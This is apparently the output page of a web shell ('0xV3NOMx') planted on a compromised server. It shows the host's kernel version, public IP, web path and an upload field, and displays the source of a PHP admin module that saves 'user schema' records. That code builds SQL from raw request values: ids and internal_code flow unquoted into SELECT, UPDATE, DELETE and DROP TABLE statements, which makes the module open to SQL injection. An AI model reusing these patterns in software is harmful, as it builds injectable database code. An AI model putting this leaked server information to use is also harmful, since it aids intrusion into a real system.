0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.226.28.97


Current Path : /var/www/oasis/src_old/system/
Upload File :
Current File : /var/www/oasis/src_old/system/saveuserschemamasters.php

<?php

class userSchemaMaster
{  
	public $login_ctr;
    public $user_id;
    public $aobj_context;
	
	       //Start :  Constructor
	           function __construct($aobj_context)
	              {
		              session_start();
		              $this->aobj_context=$aobj_context;
					  $this->aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);	
                      $this->internal_code=$aobj_context->mobj_data["internal_code"]; 					  
				 }
	function AssignDatavalues()
    {
		$this->internal_code=$this->aobj_context->mobj_data["internal_code"];
		$this->active=$this->aobj_context->mobj_data["active"];
		$this->create_table=$this->aobj_context->mobj_data["create_table"];
		$this->module_name=addslashes(trim($this->aobj_context->mobj_data["module_name"]));
		$this->user_schema_js_path=addslashes(trim($this->aobj_context->mobj_data["user_schema_js_path"]));
		$this->user_schema_grid_default_rows=addslashes(trim($this->aobj_context->mobj_data["user_schema_grid_default_rows"]));
		$this->user_schema_grid_default_rows=empty($this->user_schema_grid_default_rows)?0:$this->user_schema_grid_default_rows;
		$this->user_schema_display_module_name=addslashes(trim($this->aobj_context->mobj_data["user_schema_display_module_name"]));
		$this->grid_custom_links=addslashes(trim($this->aobj_context->mobj_data["grid_custom_links"]));
		$this->is_menu_only=addslashes(trim($this->aobj_context->mobj_data["is_menu_only"]));
		$this->module_function_name=addslashes(trim($this->aobj_context->mobj_data["module_function_name"]));
		$this->module_type=$this->aobj_context->mobj_data["module_type"];
		$this->main_menu=$this->aobj_context->mobj_data["main_menu"];
		$this->module_grid_type=$this->aobj_context->mobj_data["module_grid_type"];
		$this->grid_user_schema_coloum_names=$this->aobj_context->mobj_data["grid_user_schema_coloum_names"];
		$this->grid_user_schema_grid_query=$this->aobj_context->mobj_data["grid_user_schema_grid_query"];
		$this->grid_user_schema_coloum_models=$this->aobj_context->mobj_data["grid_user_schema_coloum_models"];
		$this->is_save=addslashes(trim($this->aobj_context->mobj_data["is_save"]));
		$this->is_clear=addslashes(trim($this->aobj_context->mobj_data["is_clear"]));
		$this->is_download=addslashes(trim($this->aobj_context->mobj_data["is_download"]));
		$this->is_view=addslashes(trim($this->aobj_context->mobj_data["is_view"]));
		$this->is_generate=addslashes(trim($this->aobj_context->mobj_data["is_generate"]));	
		$this->custom_links=(trim($this->aobj_context->mobj_data["custom_links"]));	
		$this->display_type=$this->aobj_context->mobj_data["display_type"];		
		$get_module_type="select value from s_ref_type where internal_code='{$this->module_type}'";
		$lobj_module_type = $this->aobj_context->mobj_db->GetRow($get_module_type);
		$this->mod_type=$lobj_module_type[value];	
		$this->is_close=addslashes(trim($this->aobj_context->mobj_data["is_close"]));		
    }
    function InsertUserSchemaMasterDetails()
    {
	  		    $lstr_qry = "insert into s_user_schema( 
							module_name,
							display_module_name,
							module_type,
							is_menu_only,
							menu_function,
							active,main_menu,display_type,
							include_save,include_clear,
							include_download,include_view,
							include_generate,
							include_close,
							grid_type,
							custom_links,s_col_names,s_col_model,s_grid_query,s_grid_custom_links,grid_default_rows,js_path)
		                     values ( '{$this->module_name}','{$this->user_schema_display_module_name}','{$this->module_type}',
							'{$this->is_menu_only}',
							'{$this->module_function_name}',
							'{$this->active}',
							'{$this->main_menu}',
							'{$this->display_type}',
							'{$this->is_save}',
							'{$this->is_clear}',
							'{$this->is_download}',
							'{$this->is_view}',
							'{$this->is_generate}',
							'{$this->is_close}',
							'{$this->module_grid_type}',
							\"{$this->custom_links}\",
							\"{$this->grid_user_schema_coloum_names}\",
							\"{$this->grid_user_schema_coloum_models}\",
							\"{$this->grid_user_schema_grid_query}\",
							\"{$this->grid_custom_links}\",
							\"{$this->user_schema_grid_default_rows}\",
							'{$this->user_schema_js_path}')";  	             	

					$lobj_rs = $this->aobj_context->mobj_db->Execute($lstr_qry); 				
					$this->last_inserted_id  = $this->aobj_context->mobj_db->Insert_ID();
					
					return $lobj_rs;
	 
	}
    function GetSchemaDetailsForUpdate()
    {
		 $get_data="select internal_code, module_name, display_module_name,
					module_type,is_menu_only,ifnull(menu_function,'') as menu_function,
					main_menu,display_type, active,include_save,include_clear,include_download,
					include_view,s_col_names,s_col_model,s_grid_query,grid_type,
					include_generate,include_close,custom_links,s_grid_custom_links,js_path,grid_default_rows
					from s_user_schema where internal_code={$this->internal_code}";					 
		 $lobj_rs = $this->aobj_context->mobj_db->GetRow($get_data); 	
		 	
		 if($lobj_rs)
		 {
		  print_r($this->aobj_context->mobj_output->ToJSONEnvelope($lobj_rs,0,"success")); 
		  return $lobj_rs; 			  
		 }
			 
	}	
	
    function UpdateExstingUserSchemaMaster()
	{
		 $lstr_qry = "update s_user_schema
					  set 
					  module_name='{$this->module_name}',
					  module_type='{$this->module_type}',
					  display_module_name='{$this->user_schema_display_module_name}',
					  main_menu= '{$this->main_menu}',
					  display_type= '{$this->display_type}',
					  active= {$this->active},
					  is_menu_only='{$this->is_menu_only}',
					  menu_function= '{$this->module_function_name}',
					  include_save= {$this->is_save},
					  include_clear={$this->is_clear},
					  include_download= {$this->is_download},
					  include_view= {$this->is_view},
					  include_generate = {$this->is_generate},
					  include_close={$this->is_close},
					  custom_links= \"{$this->custom_links}\",
					  grid_type= '{$this->module_grid_type}',
					  s_col_names= \"{$this->grid_user_schema_coloum_names}\",
					  s_col_model= \"{$this->grid_user_schema_coloum_models}\",
					  s_grid_query= \"{$this->grid_user_schema_grid_query}\" ,
					  s_grid_custom_links= \"{$this->grid_custom_links}\", 
					  grid_default_rows = \"{$this->user_schema_grid_default_rows}\",
					  js_path= '{$this->user_schema_js_path}'
					  where internal_code ={$this->internal_code}";		   				
                 				
				$lobj_rs = $this->aobj_context->mobj_db->Execute($lstr_qry);		
				return  $lobj_rs;
	}
	function CreateTable()
	{
	 if($this->create_table==1 && $this->mod_type!='Reports' && $this->is_menu_only=='0')
		{
			$this->create_table_name="module_".$this->last_inserted_id;
			$create_table="CREATE TABLE {$this->create_table_name}
						 (
						  internal_code bigint(20) unsigned NOT NULL auto_increment,
						  ref_s_user_schema_code bigint(20),
						  created_by  int(11) default NULL,
						  created_date  datetime default NULL,
						  modified_by  int(11) default NULL,
						  modified_date  datetime default NULL,
						  PRIMARY KEY  (internal_code)
						) engine INNODB ";		
											
			$lobj_rs = $this->aobj_context->mobj_db->Execute($create_table);   			
		}
			        if($lobj_rs)
					{
					$rdata[0] = "Module Name is inserted && table {$this->create_table_name} created";
					print_r($this->aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success"));
					return $rdata;
					}
					else 
					{
					$rdata[0] = "Module Name is inserted";
					print_r($this->aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success"));
					return $rdata;
					}	
	}
	
	function CreateReportFile()
	{
	  if($this->mod_type=='Reports')
		{
			$this->report_storage_path=$this->aobj_context->main_src."/Report_details/report_result_".$this->last_inserted_id.".php";
			$this->report_format_path=$this->aobj_context->main_src."/src/general_report_format.php";
			file_put_contents($this->report_storage_path,file_get_contents($this->report_format_path));  
		}	
	
	}
	
	function DisplayUserSchemaGridDetails()
	{
	
	    require_once($this->aobj_context->main_src.'/src/display_details_in_grid_custom.php');
		$this->display_obj=new display_details_in_grid($this->aobj_context);		
		$this->display_obj->table_cols=array('grid_module_name','grid_display_module_name','grid_module_type');
		$this->display_obj->display_qry="select * from (select s.internal_code as id,s.module_name as grid_module_name,s.display_module_name as grid_display_module_name,t.value as grid_module_type
									from s_user_schema s inner join s_ref_type t on t.internal_code=s.module_type)a 								
								    where 1=1";		 	 							
		 return $this->display_obj->DisplayDetailsInGrid();	
	}

    function deleteUserSchemaDetails()
    {
       	$lstr_ids = $this->aobj_context->mobj_data["id"];	 
		$splited_ids=explode(",",$lstr_ids);
		foreach($splited_ids as $k)
		{
		   $lstr_ids=$k;
		   
		   $lstr_qry = "delete  
			from s_user_schema 
			 where internal_code in ({$lstr_ids})"; 
			  $lobj_rs_det = $this->aobj_context->mobj_db->Execute($lstr_qry);
			  
			 $drop_table="drop table module_{$lstr_ids}";
			 $lobj_rs = $this->aobj_context->mobj_db->Execute($drop_table);
			 
			 $drop_table="drop table module_{$lstr_ids}_details";
			 $lobj_rs = $this->aobj_context->mobj_db->Execute($drop_table);
			
			 $delete_from_ele="delete from s_user_schema_elements where ref_s_user_schema_code in ({$lstr_ids})";
			 $lobj_rs = $this->aobj_context->mobj_db->Execute($delete_from_ele);
			 
			 $get_group_table_ids="select 
								concat('user_schema_',ref_s_user_schema_code,'_entry_',internal_code) as entry_table,
								concat('user_schema_',ref_s_user_schema_code,'_group_',internal_code) as group_table
								from s_user_schema_group
								where ref_s_user_schema_code in ({$lstr_ids})";
			 $lobj_get_group_table_ids = $this->aobj_context->mobj_db->GetAll($get_group_table_ids);	
			 
				 foreach($lobj_get_group_table_ids as $gk=>$gv)
				 {
					  $drop_entry_table="drop table {$gv[entry_table]}";
					  $lobj_rs =$this->aobj_context->mobj_db->Execute($drop_entry_table);
					  $drop_group_table="drop table {$gv[group_table]}";
					  $lobj_rs = $this->aobj_context->mobj_db->Execute($drop_group_table);
				 }
				 
			 $delete_from_gr="delete from s_user_schema_group where ref_s_user_schema_code in ({$lstr_ids})";
			 $lobj_rs = $this->aobj_context->mobj_db->Execute($delete_from_gr);			 
	
			 $this->root_file_name=$this->aobj_context->main_src."/Report_details/report_result_".$lstr_ids.".php";
			 $this->root_js_name=$this->aobj_context->main_src."/grid_display_files/module_".$lstr_ids.".js";
			}
			   
			   if(file_exists($this->root_file_name))
			   unlink($this->root_file_name);
				   if(file_exists($this->root_js_name))
			   unlink($this->root_js_name); 
			   
			   return $lobj_rs_det;				
    }
	   function getModuleType()
		{
			 $sql_query="select internal_code,value as type from s_ref_type  	
						where type='module_type' and active=1 order by 2";			
			$lobj_rs = $this->aobj_context->mobj_db->GetAll($sql_query);   
			
			$arr[0]=$lobj_rs;
			$sql_query_menu="select internal_code,value as type from s_ref_type  	
						where type='sub_menu' and active=1  order by 2";	
			$lobj_rs_menu = $this->aobj_context->mobj_db->GetAll($sql_query_menu);  		
			$arr[1]=$lobj_rs_menu;
			
			if(count($lobj_rs) != 0)
			 {
			  print_r($this->aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success")); 
			  return $arr ; 
			  
			 }
		}	

}

 function  insertUserSchemaMaster($aobj_context) 
 {
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
    $obj=new userSchemaMaster($aobj_context);
	$obj->AssignDatavalues();		
	
	if($obj->internal_code=='0')
	{
		$get_data="select count(*) as module_count 
		           from s_user_schema 
				   where module_name='{$obj->module_name}'
		           and  
				   module_type='{$obj->module_type}'";		
		$lobj_rs = $aobj_context->mobj_db->GetRow($get_data);
		
		if($lobj_rs['module_count']==0)
		{
			 if($obj->InsertUserSchemaMasterDetails())
			 {	
			  $obj->CreateReportFile();
			  return $obj->CreateTable();
			 }
			else
			{
				$rdata[0] = "Module Name is not added in s_user_schema table".mysql_error();
				print_r($aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success"));
				return $rdata;
			}
		}
		else 	
		{
			$rdata[0] = "Module Name Already Exstis!";
			print_r($aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success"));
			return $rdata;
		}
		
	}
	else
	{
	    $obj->last_inserted_id=$obj->internal_code;		
		if($obj->UpdateExstingUserSchemaMaster())
		{		
			$rdata[0] = "Updation Successfully";
		}
		else
		{
		  $rdata[0] = "Updation Failed".mysql_error();
		}
		print_r($aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success"));
		return $rdata;
	
	}
 }
  function viewUserSchemaDetails($aobj_context)
  {
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
    $obj=new userSchemaMaster($aobj_context);
	return $obj->DisplayUserSchemaGridDetails();	  
  }
  
  function deleteUserSchemaDetails($aobj_context)
  {
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
    $obj=new userSchemaMaster($aobj_context);	
	
		if($obj->deleteUserSchemaDetails())
		{		
			$rdata[0] = "Delete Successfully";
		}
		else
		{
		  $rdata[0] = "Delete Failed".mysql_error();
		}
		print_r($aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success"));
		return $rdata;  
   }
   
   function getModuleType($aobj_context)
   {
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
    $obj=new userSchemaMaster($aobj_context);
	return $obj->getModuleType();	  
   }  
   
   function GetSchemaDetailsForUpdate($aobj_context)
   {
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
    $obj=new userSchemaMaster($aobj_context);	
	return $obj->GetSchemaDetailsForUpdate();	  
   }